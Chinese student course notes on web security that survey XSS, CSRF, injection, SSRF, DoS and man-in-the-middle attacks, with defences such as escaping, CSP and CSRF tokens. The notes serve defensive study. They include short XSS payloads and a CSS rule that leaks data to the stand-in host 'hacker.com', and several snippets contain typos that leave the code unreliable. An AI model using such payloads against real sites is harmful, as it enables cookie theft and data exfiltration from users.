Web开发,安全不容小觑 | 青训营笔记

128 阅读5分钟

Web开发的安全之旅 | 青训营笔记

这是我参与「第四届青训营」笔记创作活动的第2天,今天总结的笔记是由刘宇晨老师讲解的《Web开发的安全之旅》课程。

一、假如你是一个hacker——攻击篇

XSS攻击

Cross-Site Scripting(XSS):跨站脚本攻击

在开发维护页面中,攻击者注入恶意脚本,用户访问该页面时,恶意脚本就会被执行,进而完成攻击。

XSS的一些特点:

  • 通常难以从UT上感知 (暗地执行脚本)

  • 窃取用户信息 (cookie/token)

  • 绘制UT(例如弹窗),诱骗用户点击/填写表单

XSS demo

存储式XSS

通过数据库注入,将恶意脚本伴随输入框插入数据库中。定时访问页面,读取数据库数据发送到指定服务器。存储式XSS是危害最大的XSS攻击。

fetch("/submit",{
              body:JSON.stringfy({
                  id:"1",
                  content:"<script>alert(“XSS”);</script>":
              });
});              

响应式XSS

直接从URL上携带参数攻击,涉及数据库

public async render(e){\
                 const {params} = e.query;\
                 e.status = 200;\
                 e.body = '<div>${params}</div>'\
                 }

基于DOM的XSS

不需要服务器参与,通过浏览器发起、执行恶意脚本。

const content = new URL(location.href).searchParmas.get("params");\
           const div = document.createElement("div");\
               div.innerHTML = content;\
               documnet.body.append(div);

基于渲染机制Mutation的XSS

利用了浏览器对DOM渲染的特性

不同的浏览器有区别

<noscript>
<p title = "</noscript><img src = x onError = alert{1}>">

CSRF攻击

CSRF (Cross-site request forgery),中文是跨站伪造请求。

  • 在用户不知情的前提下
  • 利用用户权限(cookie)
  • 构造指定HTTP请求,窃取或修改用户敏感信息OST请求表单

SQL Injection攻击

  • SQL Injection又叫做数据库注入,通常直接在请求体中写SQL参数或者SQL命令,已达到清楚数据库、转发、修改数据的目的。

  • 注入攻击不仅可以用于SQL服务端,在CLI脚手架、OS命令行等都可以运用。

  • SSRF(Server-Side Request Forgery)严格来说不算注入,但原理相似。

SSRF

  • 请求用户自定义的回调接口 callback

  • web server 有内网权限

DoS攻击

  • 通过过载请求使得服务器资源被过度消耗而崩溃

  • 正则表达式:贪婪模式

  • ReDoS:基于正则表达式的DoS:

  • L-DoS (Logical DoS) 通常以循环执行逻辑、执行SQL登录、数据库写入、文件备份等大量耗时的同步操作。

  • DDoS (Distributed DoS):通过服务器任意API直接访问IP,占用带宽使得服务器宕机。DDoS利用TCP的三次握手原理,反复来回交换数据占用带宽。

  • 中间人攻击: 俗称“肉鸡”,利用Web的明文请求,无法验证请求端身份与其请求体是否含篡改内容。

二、假如你是一个开发者一一防御

XSS防御

  • 永远不要信任用户提交的内容,不要直接将用户内容转为动态DOM,而是用String形式储存。

    image.png

  • 当用户应用需求需要使用到动态DOM时间,应该设置逻辑对上传DOM和解析DOM进行转义 new DOMOarse()

  • 对于svg文件的上传应该尤其的注意防护,svg文件可以内嵌js脚本 <svg><script>alert("xss")</script></svg>

  • 尽量不要允许用户自定义跳转(JS)、自定义样式也不行。

            <a herf="javascript:alert(‘xss’)">
           input[type=radio].list-gtk:check{
            backgroud: url("https://hacker.com/api/?list-gtk")
            }

同源请求策略:

  • 前端请求时应该保证与服务器的安全策略一致。
  • 同源请求策略要求网页所在目录与请求接口域名一致,不一致则会发生跨域(CORS安全策略)。
  • 对eval+inline script不生效

CSP

  • 服务器响应头部

Content-Security-Policy:script-src 'self' //同源

Content-Security-Policy:script-src 'self' http://domain.com" //支持跨域

  • 浏览器meta

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

CSRF安全防御

  • 通常网络请求有四种防御策略

    • if 伪造请求 === 异常来源
    • then 限制请求来源
    • Origin 同源请求中,不发送GET+HEAD
    • Referer
  • CSRF - token防护

    • 除了Origin+Referrer 其他熬吧打一把【请求来自于合法来源】的方式

    • 先有页面,后有请求

      • if 请求来自合法页面
      • then 服务器接受页面请求
      • then 服务器可以识别
    • token验证是通过唯一的加密信息码与用户绑定,每次请求都需要将这个加密码随着请求发送到服务器,服务器解密比对信息后判断是否是用户本人操作。

    • token验证码会设置过期时间,避免token泄露。

  • CSRF - iframe 攻击

    • 当Origin被限制时,攻击者会将请求包在内作为子页面,即可突破同源
  • CSRF 防护

    • 避免GET接口和POST接口合并等偷懒行为
    • 防护SameSIte Cookie信息泄露,SameSite Cookie依赖于第三方的Cookie请求,需要允许第三方域名采集Cookie.
    • 防御CSRF需要注意逐级施加权限限制

Inject Protection

  • SQL防护

    • 最小原则:避免使用sudo || root 命令
    • 建立ip白名单,拒绝异常rm操作
    • 对URL类型参数、域名、IP加逻辑检验,限制异常请求———防范内网被突破
  • 防范DoS攻击:

    • ReDoS

      • 减少允许用户使用正则表达式请求
      • 增加校验, 对代码做扫描 +正则性能测试
    • L-DoS

      • 限流: 限制流量的异常波动,对于异常IP封锁。
      • 并不是非黑即白: 有时候需要请求量超过阈值才能检测出L-DoS
      • 分析代码的性能瓶颈:同步调用、串行逻辑、CPU密集操作
    • DDoS

      • 过滤:负载均衡、API网关
      • 抗量:CDN、快速扩容、 非核心服务降级备战
    • 中间人防御

      • HTTP特性: 可靠性-明文加密,完整性:MAC验证;不可抵赖性-数字签名
      • HTTPS加密:在三次握手时进行hash加密,利用公钥和证书进行数字签名校验。
      • 将HTTP主动升级到HTTPS:需要之前要有一次HTTPS访问
      • 当静态资源被劫持篡改了,可以运用SRI对资源做hash验证。

三、课后总结和思考

本节课从攻击防御两个大方面,分别分析了Web开发时的一些安全问题,我了解到了安全问题其实很常见,也非常重要,在进行Web开发的过程中,我们应引起高度重视。